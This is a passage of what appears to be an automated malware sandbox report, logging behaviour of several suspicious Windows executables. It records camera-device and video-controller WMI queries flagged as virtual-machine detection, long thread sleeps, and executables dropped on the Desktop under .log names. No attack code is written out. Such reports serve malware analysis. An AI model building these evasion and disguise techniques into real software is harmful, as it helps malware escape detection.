                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_PnPEntity WHERE (PNPClass = &apos;Image&apos; OR PNPClass = &apos;Camera&apos;)
                          Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
                          Source: C:\Users\user\Desktop\file.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeMemory allocated: EE0000 memory reserve | memory write watchJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeMemory allocated: 1A940000 memory reserve | memory write watchJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeMemory allocated: F60000 memory reserve | memory write watchJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeMemory allocated: 1AE30000 memory reserve | memory write watchJump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeThread delayed: delay time: 922337203685477Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 922337203685477Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 600000Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 599781Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 300000Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 598969Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 598312Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 597969Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 597406Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 596984Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 596609Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 596328Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 596172Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 595984Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 595812Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 595609Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 595453Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 595141Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 594812Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 594578Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 594297Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 594125Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 593937Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 593562Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 592906Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 592687Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 592406Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 592109Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 591719Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 591203Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 591000Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 590781Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 590312Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 589984Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 589656Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 589297Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 589062Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 588809Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 588500Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 588141Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 587916Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 587641Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 587344Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 587031Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 586775Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 586525Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 586406Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 586280Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 586149Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 585999Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 585889Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 585740Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 585609Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 585500Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeThread delayed: delay time: 585359Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWindow / User API: threadDelayed 7571Jump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeWindow / User API: threadDelayed 1969Jump to behavior
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeDropped PE file which has not been started: C:\Users\user\Desktop\GZESsXxn.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeDropped PE file which has not been started: C:\Users\user\Desktop\ChlBJuef.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeDropped PE file which has not been started: C:\Users\user\Desktop\KynqlyEe.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeDropped PE file which has not been started: C:\Users\user\Desktop\tzSlZRZx.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeDropped PE file which has not been started: C:\Users\user\Desktop\vtJunvdL.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeDropped PE file which has not been started: C:\Users\user\Desktop\iUznwWYk.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeDropped PE file which has not been started: C:\Users\user\Desktop\NVPrtGZN.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeDropped PE file which has not been started: C:\Users\user\Desktop\YBKPyitp.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeDropped PE file which has not been started: C:\Users\user\Desktop\eMCeaDdo.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeDropped PE file which has not been started: C:\Users\user\Desktop\vBETvAds.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeDropped PE file which has not been started: C:\Users\user\Desktop\qOmVSEOE.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeDropped PE file which has not been started: C:\Users\user\Desktop\wGPuvkTt.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeDropped PE file which has not been started: C:\Users\user\Desktop\JfZBmJZU.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeDropped PE file which has not been started: C:\Users\user\Desktop\GHxAeCEl.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeDropped PE file which has not been started: C:\Users\user\Desktop\AwFlCgTm.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeDropped PE file which has not been started: C:\Users\user\Desktop\QHXicADV.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeDropped PE file which has not been started: C:\Users\user\Desktop\OKwaGAoa.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeDropped PE file which has not been started: C:\Users\user\Desktop\zbQSPIDz.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeDropped PE file which has not been started: C:\Users\user\Desktop\SsDyjNNO.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeDropped PE file which has not been started: C:\Users\user\Desktop\ikefiKyX.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeDropped PE file which has not been started: C:\Users\user\Desktop\JKjizlIg.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeDropped PE file which has not been started: C:\Users\user\Desktop\hXYfaWJp.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeDropped PE file which has not been started: C:\Users\user\Desktop\DnwbJdUf.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeDropped PE file which has not been started: C:\Users\user\Desktop\YlgXMtSC.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeDropped PE file which has not been started: C:\Users\user\Desktop\eunobOye.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeDropped PE file which has not been started: C:\Users\user\Desktop\GpiKfMYa.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeDropped PE file which has not been started: C:\Users\user\Desktop\FccKWXjt.logJump to dropped file
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exeDropped PE file which has not been started: C:\Users\user\Desktop\dghoTZIw.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeDropped PE file which has not been started: C:\Users\user\Desktop\csBGFfui.logJump to dropped file
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exeDropped PE file which has not been started: C:\Users\user\Desktop\GYbsQreY.logJump to dropped file
                          Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeAPI coverage: 9.6 %
                          Source: C:\Users\user\AppData\Roaming\qyKnQ3XZNg.exe TID: 6160Thread sleep time: -922337203685477s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 6484Thread sleep time: -30000s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -4611686018427385s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -600000s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -599781s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 7140Thread sleep time: -3900000s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -598969s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -598312s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -597969s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -597406s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -596984s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -596609s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -596328s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -596172s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -595984s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -595812s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -595609s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -595453s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -595141s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -594812s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -594578s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -594297s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -594125s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -593937s >= -30000sJump to behavior
                          Source: C:\Users\user\AppData\Local\buTEJZlOSIruGihHI.exe TID: 4296Thread sleep time: -593562s >= -30000sJump to behavior
